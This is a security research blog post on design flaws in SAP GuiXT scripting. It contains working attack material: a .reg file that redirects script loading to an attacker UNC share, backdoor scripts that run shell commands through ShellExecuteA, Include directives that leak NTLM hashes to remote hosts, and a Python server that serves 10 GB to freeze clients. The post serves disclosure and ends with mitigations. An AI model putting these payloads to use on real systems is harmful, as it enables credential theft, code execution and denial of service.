Unmasking the Security Labyrinth: Navigating the Perils of SAP GuiXT Scripting

Michał Majchrowicz

In the world of SAP, where customization and optimization are paramount, SAP GuiXT scripting emerges as a tool that can drastically alter the user experience. However, beneath the veneer of enhanced usability lies a complex web of security vulnerabilities. Diving into the depths of GuiXT reveals a series of potential risks that could compromise your entire SAP environment. Let’s embark on a journey through this labyrinth, shedding light on the intricate security challenges posed by GuiXT.

The Silent Threat: Unveiling the Insecure Design Flaw in SAP GuiXT Scripting

In our ongoing journey through the labyrinth of SAP GuiXT security, we now confront one of the most critical vulnerabilities: Insecure Design. This isn’t just a minor oversight; it’s a fundamental flaw in how GuiXT handles scripts, which can lead to severe security breaches. Let’s pull back the curtain and examine the intricate details of this vulnerability.

The Core of the Issue: Remote Script Loading and Obfuscation

At its heart, the insecure design vulnerability stems from GuiXT’s capability to load scripts from remote locations. Sounds convenient, right? But consider this: by allowing remote script loading, GuiXT potentially bypasses local security measures like antivirus software. These remote scripts can contain obfuscated code, which, after being loaded by GuiXT, is deobfuscated and executed without the user’s knowledge. This opens the door for attackers to run malicious code in the background, completely undetected.

Imagine a situation where you believe your system is protected by robust antivirus measures. However, an attacker exploits GuiXT’s remote script loading feature. They host a malicious script on their server, and your GuiXT is configured to load scripts from that location. The script is initially encrypted or obfuscated, making it invisible to your antivirus. Once loaded, GuiXT decrypts and executes it, effectively allowing the attacker to bypass your security.

Configuration is Key: The guixt.ini File and the Registry

The location of scripts that GuiXT loads is defined in its configuration. This configuration can be stored in either a file, guixt.ini (typically found in C:\Program Files\SAP\FrontEnd\SAPGUI\), or in the Windows Registry under HKEY_CURRENT_USER\Software\SAP\SAPGUI Front\SAP Frontend Server\Customize.

In the guixt.ini file, the fields Directory1, Directory2, Directory3, and Directory4 specify the directories where GuiXT looks for scripts. Similarly, in the registry, the keys GuiXT.Directory1, GuiXT.Directory2, GuiXT.Directory3, and GuiXT.Directory4 serve the same purpose.

These configurations can also be manually altered through the Profile in GuiXT settings.

This seemingly benign flexibility is where the danger lies. An attacker could use phishing or social engineering to trick a user into changing these settings to a remote location controlled by the attacker.

The Attack Vectors: Phishing and .reg Files

Imagine receiving an email from your network administrator with detailed instructions on how to enhance your SAP GUI experience by adding some “custom scripts.” The email conveniently includes step-by-step instructions to modify your `guixt.ini` file or registry settings to point to a specific network location – a location that happens to be controlled by the attacker.

Another even more insidious approach involves sending the victim a specially crafted .reg file. This file, when executed, automatically modifies the registry to set one of the GuiXT.Directory keys to the attacker’s remote location. Here’s an example:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\SAP\SAPGUI Front\SAP Frontend Server\Customize]

"GuiXT.Directory3"="\\\\afine.com\\Scripts4"Code language: JavaScript (javascript)

A single click on this file, and the victim’s system is now configured to load scripts from the attacker’s server.

The Payload: Backdoors and Command Execution

What happens once the attacker’s remote location is set? When the user opens the SAP GUI application or specific transactions, GuiXT automatically loads and executes scripts from that location. For instance, a file named SAPMP50A.1100.txt in the attacker’s directory might contain the following code:

if not V[PA20_Executed]

   Message "SAP GUI Backdoor Tool by Michal Majchrowicz AFINE Team."

   Set V[PA20_Executed] "X"

endifCode language: JavaScript (javascript)

This script displays a simple message the first time transaction PA20 or PA30 is opened, signaling successful “backdoor” installation.

But the attacker’s intentions can be far more malicious. Consider this script:

if not V[SU3_Executed]

   Message "SAP GUI Backdoor Tool by Michal Majchrowicz AFINE Team."

   Set V[SU3_Executed] "X"

   Call "ShellExecuteA" dll="shell32.dll" In="0" In="open" In="cmd.exe" In="/C calc.exe" In="C:\\Users\\Public" In="1" Out="rc"

endifCode language: JavaScript (javascript)

This script executes the calc.exe program every time the SU3 transaction is opened, effectively demonstrating the ability to run any system command.

NTLM Hash Theft: Adding Insult to Injury

To make matters worse, each attempt to connect to the attacker’s remote location to fetch scripts sends the NTLM hash of the user’s password. This hash can be captured and used to crack the password, giving the attacker complete access to the user’s account.

Such hash can be cracked using popular tools like john or hashcat.

The “Include” Directive: A Gateway to Hijacking

At the heart of GuiXT’s flexibility lies the “Include” directive, which allows scripts to incorporate code from other files. This feature, while powerful, becomes a dangerous tool in the wrong hands. When “Include” is used with UNC paths, the stakes rise dramatically. An attacker, having gained a foothold somewhere in your script directories, could craft a script that uses “Include” to fetch code from a remote, malicious UNC path. This seemingly simple act triggers another attempt to capture the NTLM hash, effectively widening the attack surface. It’s not just about executing malicious code anymore; it’s about harvesting sensitive authentication information.

A crafted GuiXT script file used for attack:

Include "\\afine.com\ntlm_hijack"Code language: PHP (php)

CSRF and DoS: The Unseen Threats

The rabbit hole deepens when we consider the protocol flexibility of GuiXT. Its ability to use protocols like SMB, FTP, and HTTP within “Include” directives opens the door to Client-Side Request Forgery (CSRF) attacks. Picture this: A malicious script forces your SAP GUI client to make requests to internal servers or even external websites. This could lead to data exfiltration, unauthorized actions being performed on internal systems, or simply a disruption of service. The line between internal and external requests blurs, and your SAP client unwittingly becomes a tool in the attacker’s hands.

A crafted GuiXT script used for attack:

Include "http://192.168.1.110/leak"Code language: PHP (php)

Request to server sent using vulnerability:

$ nc -lvnp 443
Connection received on 192.168.1.110 39352
GET /leak HTTP/1.1
User-Agent: GuiXT
Host: 192.168.1.110
Connection: Keep-Alive

Furthermore, GuiXT’s seemingly benign file download feature can be weaponized for Denial of Service (DoS) attacks. There’s a lack of size verification when downloading files through GuiXT scripts. An attacker could craft a script that initiates the download of extremely large files. Your SAP GUI client would obediently attempt to download these massive files, potentially consuming all available resources and freezing the application. Suddenly, your workday grinds to a halt as your system struggles to handle the onslaught of data.

The following script can be used for the attack:

import http.server                                                                                                                                                                         
import socketserver                                                                                                                                                                        
import os, time                                                                                                                                                                            
                                                                                                                                                                                           
PORT = 8080                                                                                                                                                                                
TARGET_PATH = "/test/session.txt"                                                                                                                                                          
RESPONSE_SIZE = 10 * 1024 * 1024 * 1024  # 10 GB                                                                                                                                           
CHUNK_SIZE = 1024*1024  # 1 MB


class RandomDataHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path == TARGET_PATH:
            self.send_response(200)
            self.send_header("Content-Type", "application/octet-stream")
            self.send_header("Content-Length", str(RESPONSE_SIZE))
            self.end_headers()


            remaining_bytes = RESPONSE_SIZE
            bytes_sent = 0
            chunk_count = 0
            total_chunks = RESPONSE_SIZE // CHUNK_SIZE


            print(f"[INFO] Starting to send 10GB of random data to {self.client_address[0]}") 


            while remaining_bytes > 0:
                chunk = os.urandom(min(CHUNK_SIZE, remaining_bytes))
                try:
                    self.wfile.write(chunk)
                except BrokenPipeError:
                    print("[WARNING] Client disconnected during transfer.")
                    return
                bytes_sent += len(chunk)
                remaining_bytes -= len(chunk)
                chunk_count += 1


                # Log progress every 100 chunks (~100MB)
                if chunk_count % 100 == 0 or remaining_bytes == 0:
                    percent = (bytes_sent / RESPONSE_SIZE) * 100
                    print(f"\r[INFO] Sent {bytes_sent // (1024 * 1024)}MB ({percent:.2f}%)", end='',flush=True)
                    time.sleep(1)




            print("\n[INFO] Data transfer complete.")
        else:
            self.send_error(404, "File Not Found")


with socketserver.TCPServer(("", PORT), RandomDataHandler) as httpd:
    print("\nSAP GUI Remote HTTP DoS Attack Tool v0.3 by Michał Majchrowicz AFINE Team\n")
    print(f"[INFO] Serving on port {PORT}")
    httpd.serve_forever()

After executing the script we can see following log:

Such requests are performed by the SAP GUI application each time it’s launched and the user tries to log in. Until the download is finished, the application becomes unresponsive:

Building a Secure Fortress: Mitigation Strategies

Navigating this security labyrinth requires a comprehensive and proactive approach. First and foremost, limit the loading of remote scripts to only trusted and verified locations. Impose strict policies and technical configurations to enforce this. Meticulous monitoring and auditing of GuiXT scripts becomes essential. Regularly reviewing script activities can uncover anomalies and potential intrusions before they escalate. Educating users is another cornerstone of defense. Arm them with the knowledge to spot phishing attempts or social engineering tactics designed to manipulate GuiXT configurations. Strict access controls are critical. Ensure only authorized personnel can modify scripts and configurations. Finally, periodic security assessments will help identify vulnerabilities and validate the effectiveness of your mitigation strategies.

In conclusion, SAP GuiXT scripting, while offering considerable benefits, carries inherent security risks. By understanding these risks and implementing robust security measures, you can transform your SAP environment from a vulnerable target into a well-defended fortress. The journey through the GuiXT security labyrinth may be complex, but with vigilance and proactive measures, you can ensure the integrity and security of your SAP systems.

Michał Majchrowicz
Offensive Security Engineer

Is your company secure online?

Join our list of satisfied customers and safeguard your company’s data!

Trust us and leave your contact details. Our team will contact you to discuss the details and prepare a tailor-made offer for you. Full discretion and confidentiality of your data are guaranteed.

Willing to ask a question immediately? Visit our Contact page.